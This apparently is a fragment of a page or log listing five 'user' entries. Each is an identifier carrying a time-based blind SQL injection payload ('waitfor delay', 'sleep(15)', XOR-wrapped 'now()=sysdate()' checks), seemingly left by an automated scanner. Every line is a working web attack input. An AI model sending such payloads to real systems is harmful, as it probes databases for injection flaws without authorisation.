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用户：JYupWMLW2025-03-15-1; waitfor delay '0:0:15' --
用户：JYupWMLW2025-03-15(select(0)from(select(sleep(15)))v)/*'+(select(0)f...
用户：JYupWMLW2025-03-150"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
用户：JYupWMLW2025-03-150'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
用户：JYupWMLW2025-03-15if(now()=sysdate(),sleep(15),0)